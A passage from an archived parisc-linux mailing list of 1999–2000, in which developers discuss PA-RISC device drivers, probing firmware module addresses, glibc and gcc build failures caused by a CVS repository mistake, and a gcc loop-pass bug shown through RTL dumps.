register_module for every entry, and just silently drops entries that
pdc_iodc_read doesn't acknowledge as a hardware device. So, some
rearchitecting should be done to correctly support this. For a quick
hack you can probably write your own loop calling pdc_system_map_find_mods
(see code in do_newer_workstation_inventory).

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WAX, Harmony and SuperIO
Date: Wed, 13 Dec 2000 13:52:17 -0500
Organization: The Puffins at Linuxcare
Lines: 35
Approved: news@gmane.org
Message-ID: <3A37C561.48BD88F5@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619427 8471 80.91.229.3 (22 Nov 2014 01:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Wed Dec 13 11:59:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29113
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 11:59:26 -0700
Original-Received: (qmail 19144 invoked by uid 15267); 13 Dec 2000 19:02:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30080 invoked from network); 13 Dec 2000 18:50:12 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 13 Dec 2000 18:50:12 -0000
Original-Received: (qmail 26154 invoked from network); 13 Dec 2000 18:49:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 13 Dec 2000 18:49:52 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8875


Just an update on three device drivers I'm vaguely working on.

I'm actually up for working on other various drivers, and am taking
requests.  I do have quite a variety of hardware to test on.

1. Harmony, the sound driver

Definitely some problems here, most are already documented but one
notable one is that the sound chip on a 715/75 doesn't appear to be
Harmony at all.  Does anyone by chance know what this is?

2. WAX

First off, many many thanks to Mike Hibler for finding his WAX docs.  To
make a long story short, I will soon have access under NDA to the WAX
ERS and will have some Christmas time to hack on WAX.  Thanks go to Alan
Meyer for the internal work at HP as well.

3. SuperIO

I made an unsuccessful attempt to understand how SuperIO (the funky IO
controller in C3k and J5k) PCI interrupts work.  I'm inheriting a bunch
of code and info from Martin Petersen, and we all agree we need some
help from someone at HP (hi Grant!) to help us.  This'll probably have
to stay on the back burner until January 2001.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <debackex@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Rom address location
Date: Wed, 13 Dec 2000 21:39:16 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <3A37DE74.38E6D28F@esiee.fr>
References: <200012131231.FAA18919@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619427 8474 80.91.229.3 (22 Nov 2014 01:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:47 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: debackex@esiee.fr  Wed Dec 13 13:31:17 2000
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA30411
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 13:31:16 -0700
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6A07BD159E; Wed, 13 Dec 2000 21:34:04 +0100 (CET)
Original-Sender: debackex@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8876

Hi, thanks for your help, but there are still some pbs...

> IF the
> add_addrs field is non-zero, THEN the second entry (i.e. the result
> from a call to PDC_SYSTEM_MAP with the next index value) will contain the
> address of the sti rom in the mod_addr field.
 
> For a quick
> hack you can probably write your own loop calling pdc_system_map_find_mods
> (see code in do_newer_workstation_inventory).

To get familiar with pdc_system_map_find_mods, I modified
do_newer_workstation_inventory (in inventory.c) like this:

printk("a newer box...\n");
for(i=0, status=PDC_RET_OK; status != PDC_RET_NE_PROC &&
                            status != PDC_RET_NE_MOD ;i++) {
	printk("--- %s: index is set to %i\n",__FUNCTION__,i);
        status =
pdc_system_map_find_mods(&module_result,&module_path,i);
        if (status == PDC_RET_OK) {
	        printk("--- %s: mod_addr is 0x%08x, add_addrs is 0x%08x \n",
                
__FUNCTION__,module_result.mod_addr,module_result.add_addrs);
                num++;
                register_module(module_result.mod_addr);
        }
        else printk("--- %s: status returned is not PDC_RET_OK\n");
}


This kernel runs on the B132, dmesg gives me this:

a newer box...
--- do_newer_workstation_inventory: index is set to 0
--- do_newer_workstation_inventory: mod_addr is 0xffc00000, add_addrs is
0x00000000 
[... useless info removed ...]
--- do_newer_workstation_inventory: index is set to 11
--- do_newer_workstation_inventory: mod_addr is 0xf8000000, add_addrs is
0x00000001 
--- do_newer_workstation_inventory: index is set to 12
--- do_newer_workstation_inventory: mod_addr is 0xfff80000, add_addrs is
0x00000001 
--- do_newer_workstation_inventory: index is set to 13
--- do_newer_workstation_inventory: status returned is not PDC_RET_OK
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0, 0x0, 0x0
2. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0, 0x8c,
0x0, 0x0
3. Merlin L2+ 132 (9000/778/B132L) (0) at 0xfffbe000, versions 0x503,
0x0, 0x4, 0x0, 0x81
4. Merlin+ L2 132 (1) at 0xfffbf000, versions 0x61, 0x0, 0x9, 0x0, 0x0
5. Merlin+ 132 Core BA (11) at 0xffd00000, versions 0x3e, 0x0, 0x81,
0x0, 0x0
6. Merlin+ 132 Core RS-232 (10) at 0xffd05000, versions 0x3e, 0x0, 0x8c,
0x0, 0x0
7. Merlin+ 132 Core SCSI (10) at 0xffd06000, versions 0x3e, 0x0, 0x82,
0x0, 0x0
8. Merlin+ 132 Core Centronics (10) at 0xffd02000, versions 0x3e, 0x0,
0x74, 0x0, 0x0
9. Merlin+ 132 Core Audio (10) at 0xffd04000, versions 0x3e, 0x4, 0x7b,
0x0, 0x0
10. Merlin+ 132 Core PC Keyboard (10) at 0xffd08000, versions 0x3e, 0x0,
0x84, 0x0, 0x0
11. Merlin+ 132 Core PC Keyboard (10) at 0xffd08100, versions 0x3e, 0x0,
0x84, 0x0, 0x0
12. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0,
0x85, 0x0, 0x0
13. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0,
0x0
That's a total of 13 devices.


As we can see, when mod_addr is 0xf8000000, the add_addrs is not zero,
that's fine with your explanation.
the problem is that when I increment index (i=12) I get a mod_addr that
points to the Dino PCI Bridge, and still not to the STI ROM. I had a
look at 0xfff80000, just to be sure, and it doesn't seem to be my rom
(the 8 first bytes are zeroes).

btw, all info I've found about PDC_SYSTEM_MAP was in pdc.pdf, just
telling about the existence of such a procedure in chapter 2.2, but
there's no more info about it (while ALL other procedures are explained
in this book). This is just to get explained about the
pdc_system_map_find_mods params.


Any idea?

Thanks for your help!
Xavier

ESIEE Team.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld.so fix
Date: 13 Dec 2000 22:18:03 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <d3snnsyq9g.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619428 8478 80.91.229.3 (22 Nov 2014 01:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jes@lxplus015.cern.ch  Wed Dec 13 14:16:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA31592
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 14:16:28 -0700
Original-Received: (qmail 26619 invoked by uid 15267); 13 Dec 2000 21:18:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26607 invoked from network); 13 Dec 2000 21:18:46 -0000
Original-Received: from smtp1.cern.ch (137.138.128.38)
  by mailserv2.iuinc.com with SMTP; 13 Dec 2000 21:18:46 -0000
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id WAA06642
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Dec 2000 22:18:04 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id WAA29388;
	Wed, 13 Dec 2000 22:18:03 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Grant Grundler's message of "Wed, 06 Dec 2000 15:34:37 -0800"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8877

Hi

I checked in one more fix for ld.so earlier today, with that and my
previous patches I am now able to rebuild glibc with shared libraries
natively.

I think there have been some ABI changes inbetween the current glibc
and the stuff that was distributed as .deb's earlier so there might be
compat changes.

However at least glibc seems to work now (I think).

Jes


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] phase 2 gcc build fails
Date: Wed, 13 Dec 2000 16:11:15 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20001213231115.704D437CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619428 8482 80.91.229.3 (22 Nov 2014 01:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:48 +0000 (UTC)
Cc: jes@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Dec 13 16:07:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00413
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 16:07:27 -0700
Original-Received: (qmail 27918 invoked by uid 15267); 13 Dec 2000 23:09:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27909 invoked from network); 13 Dec 2000 23:09:31 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 13 Dec 2000 23:09:31 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 582ED1864; Wed, 13 Dec 2000 18:09:21 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 704D437CA1; Wed, 13 Dec 2000 16:11:15 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8878

Hi,

I'm trying to build an new cross-compiler and have run into the following 
errors,

gcc -c -DHAVE_CONFIG_H -g -O2 -I. -I/home/al-76/puffin/palinux/gcc/libiberty/..
/include  -W -Wall -Wtraditional -pedantic /home/al-76/puffin/palinux/gcc/libib
erty/argv.c
In file included from /home/al-76/puffin/palinux/gcc/libiberty/argv.c:26:
/home/al-76/puffin/palinux/gcc/libiberty/../include/libiberty.h:22: parse error
before `ATTRIBUTE_MALLOC'
/home/al-76/puffin/palinux/gcc/libiberty/../include/libiberty.h:22: warning: 
type defaults to `int' in declaration of `ATTRIBUTE_MALLOC'
/home/al-76/puffin/palinux/gcc/libiberty/../include/libiberty.h:22: ANSI C 
forbids data definition with no type or storage class

it complains about lines 22, 31, 55, 72, 76, 143, 154, 158, 162 all lines with 
"ATTRIBUTE_MALLOC". It didn't do this when I last built on December 11th so I 
think it must be something checked in since then. I have looked at the stuff 
that was checked in and it's not clear to me what's causing it.

Anyone have an idea?

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 11:07:01 +1100 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012141101510.2565-100000@front.linuxcare.com.au>
References: <20001213231115.704D437CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619428 8486 80.91.229.3 (22 Nov 2014 01:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jes@linuxcare.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Dec 13 17:06:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01370
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 17:06:59 -0700
Original-Received: (qmail 6386 invoked by uid 15267); 14 Dec 2000 00:08:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6347 invoked from network); 14 Dec 2000 00:08:55 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 00:08:55 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA06053;
	Thu, 14 Dec 2000 11:07:01 +1100
In-Reply-To: <20001213231115.704D437CA1@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8879

On Wed, 13 Dec 2000, Matt Taggart wrote:

> Anyone have an idea?

I probably broke the CVS repo, when I ran "cvs admin -b" following your
updated recipe.  I do have a checked-out tree, to probably can put things
back as they were.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Wed, 13 Dec 2000 17:20:46 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20001214002046.6D9BE37CA1@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0012141101510.2565-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619428 8488 80.91.229.3 (22 Nov 2014 01:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jes@linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: taggart@carmen.fc.hp.com  Wed Dec 13 17:16:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01710
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 17:16:04 -0700
Original-Received: (qmail 18320 invoked by uid 15267); 14 Dec 2000 00:18:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18304 invoked from network); 14 Dec 2000 00:18:52 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 00:18:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 308CA464; Wed, 13 Dec 2000 19:18:52 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6D9BE37CA1; Wed, 13 Dec 2000 17:20:46 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Thu, 14 Dec 2000 11:07:01 EST." <Pine.LNX.4.21.0012141101510.2565-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8880


Alan Modra writes...

> On Wed, 13 Dec 2000, Matt Taggart wrote:
> 
> > Anyone have an idea?
> 
> I probably broke the CVS repo, when I ran "cvs admin -b" following your
> updated recipe.  I do have a checked-out tree, to probably can put things
> back as they were.

Since admin -b reverts the default branch, wouldn't importing cygnus source 
fix things?

* taggart gets out the mang-signal

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some more docs.
Date: Sun, 9 May 1999 01:54:43 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990509014810.16143A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619429 8490 80.91.229.3 (22 Nov 2014 01:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sat May  8 23:54:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA07875
	for <parisc-linux@puffin.external.hp.com>; Sat, 8 May 1999 23:54:47 -0600
Original-Received: (qmail 18775 invoked by uid 15267); 9 May 1999 05:54:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18768 invoked from network); 9 May 1999 05:54:39 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 9 May 1999 05:54:39 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA16861
	for <parisc-linux@thepuffingroup.com>; Sun, 9 May 1999 01:54:43 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8881


With thanks to John Sontag and HP, there's now docs available on the
A180C.  In particular, what's interesting about this document is the
overview of the architecture which shows Lasi (the SCSI controller) and
Dino (the PCI and ethernet controllers).

John tells me he's working on more detailed docs.

Also, there's two older and larger docs available online which I've had
sitting around and simply forgot to post.  It shows the details of what's
in what box; it's the first two docs on the documentation download page.

For more details, look at
http://www.thepuffingroup.com/parisc/documentation.html

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] phase 2 gcc build fails
Date: Thu, 14 Dec 2000 11:31:46 +1100 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012141124330.2565-100000@front.linuxcare.com.au>
References: <20001214002046.6D9BE37CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619429 8494 80.91.229.3 (22 Nov 2014 01:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, jes@linuxcare.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Dec 13 17:29:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA02145
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 17:29:37 -0700
Original-Received: (qmail 1949 invoked by uid 15267); 14 Dec 2000 00:32:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1909 invoked from network); 14 Dec 2000 00:32:03 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 00:32:03 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA06772;
	Thu, 14 Dec 2000 11:31:46 +1100
In-Reply-To: <20001214002046.6D9BE37CA1@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8882

On Wed, 13 Dec 2000, Matt Taggart wrote:

> Alan Modra writes...
> 
> > I probably broke the CVS repo, when I ran "cvs admin -b" following your
> > updated recipe.  I do have a checked-out tree, to probably can put things
> > back as they were.
> 
> Since admin -b reverts the default branch, wouldn't importing cygnus source 
> fix things?

It looks like an import was done at some stage without merging stuff back
to the main trunk.  eg.

File: config.if         Status: Needs Patch

   Working revision:    1.1.1.2
   Repository revision: 1.1     /home/cvs/parisc/gcc/config.if,v
   Sticky Tag:          (none)
   Sticky Date:         (none)
   Sticky Options:      (none)

   Existing Tags:
        before20000925merge             (revision: 1.1.1.2)
        before20000822merge             (revision: 1.1.1.2)
        gcc-2_96-gnu-20000707           (revision: 1.1.1.2)
        GNU_DIST                        (branch: 1.1.1)
        gcc-2_9-hppa-20000707           (branch: 1.1.1.1.4)
        pre_fest                        (revision: 1.1.1.1)
        ELF_BRANCH                      (branch: 1.1.1.1.2)
        ELF_BASE                        (revision: 1.1.1.1)
        initial_checkin                 (revision: 1.1.1.1)
        gcc-2_9-hppa-991112             (branch: 1.1.1)

What I've got to do, I guess, is to commit my tree back to the main truck.
eg. in the case of config.if, we want a version 1.2 which will be identcal
to version 1.1.1.2

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 13 Dec 2000 19:48:21 -0500 (EST)
Lines: 71
Approved: news@gmane.org
Message-ID: <200012140048.TAA02603@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619429 8495 80.91.229.3 (22 Nov 2014 01:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:49 +0000 (UTC)
Cc: law@redhat.com, rth@redhat.com, alan@linuxcare.com.au,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 13 17:46:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03208
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Dec 2000 17:46:22 -0700
Original-Received: (qmail 22021 invoked by uid 15267); 14 Dec 2000 00:49:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21945 invoked from network); 14 Dec 2000 00:49:09 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Dec 2000 00:49:09 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA02603;
	Wed, 13 Dec 2000 19:48:22 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 11, 2000 01:48:16 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8883

> I was going to deleting the hack and adding a general_operand test in
> local-alloc to see if that would fix the reload problem with "-fPIC".
> However, for the moment, there are still problems with a "normal" build
> at "-O3".  With only the yesterdays CVS source and the patch below
> to prevent rename registers walking of the return pointer, I get the
> following failure building libstdc++ v2:
> 
> /xxx/gnu/gcc-2.97/objdir/gcc/g++ -B/xxx/gnu/gcc-2.97/objdir/gcc/ -nostdinc++ -isystem /xxx/gnu/gcc-2.97/libstdc++ -isystem /xxx/gnu/gcc-2.97/libstdc++/std -isystem /xxx/gnu/gcc-2.97/libstdc++/stl -isystem /xxx/gnu/gcc-2.97/libio -isystem /xxx/gnu/gcc-2.97/objdir/hppa1.1-hp-hpux10.20/libio -L/xxx/gnu/gcc-2.97/objdir/hppa1.1-hp-hpux10.20/libstdc++ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -B/usr/local/hppa1.1-hp-hpux10.20/lib/ -isystem /usr/local/hppa1.1-hp-hpux10.20/include -c -O3 -fno-implicit-templates -I../../../libstdc++ -I../../../libstdc++/stl -I../libio -I../../../libstdc++/../libio -I../../../libstdc++/../include -I../../../libstdc++/../gcc -nostdinc++  ../../../libstdc++/exception.cc
> ../../../libstdc++/exception.cc: In function `void __check_eh_spec(int, const 
>    void**)':
> ../../../libstdc++/exception.cc:363: Internal error: Segmentation fault.

I have made some progress in locating this bug but still don't have a
complete understanding of the problem.  The problem is that a code_label
insn is "incorrectly" deleted in the loop pass.  Here is the rtl from
the gcse pass:

[snip]

(code_label 1158 1268 1439 124 "" "" [3 uses])

(note 1439 1158 262 [bb 12] NOTE_INSN_BASIC_BLOCK -1347440721)

(note 262 1439 1159 85 NOTE_INSN_EH_REGION_END -1347440721)

[snip]

(insn 788 787 789 (set (reg/f:SI 209)
        (high:SI (label_ref:SI 1158))) 87 {*pa.md:2435} (nil)
    (expr_list:REG_EQUAL (high:SI (label_ref:SI 1158))
        (insn_list:REG_LABEL 1158 (nil))))

(insn 789 788 791 (set (reg/f:SI 208)
        (lo_sum:SI (reg/f:SI 209)
            (label_ref:SI 1158))) 90 {*pa.md:2467} (nil)
    (insn_list:REG_LABEL 1158 (expr_list:REG_EQUAL (label_ref:SI 1158)
            (nil))))

Here is the rtl after loop:

Loop from 576 to 1288: 105 real insns.
Continue at insn 1278.

[snip]

Insn 788: regno 209 (life 2), move-insn savings 2  moved to 1530
Insn 789: regno 208 (life 1), move-insn forces 788 savings 1  moved to 1532

[snip]

(insn 1531 1528 1532 (set (reg/f:SI 337)
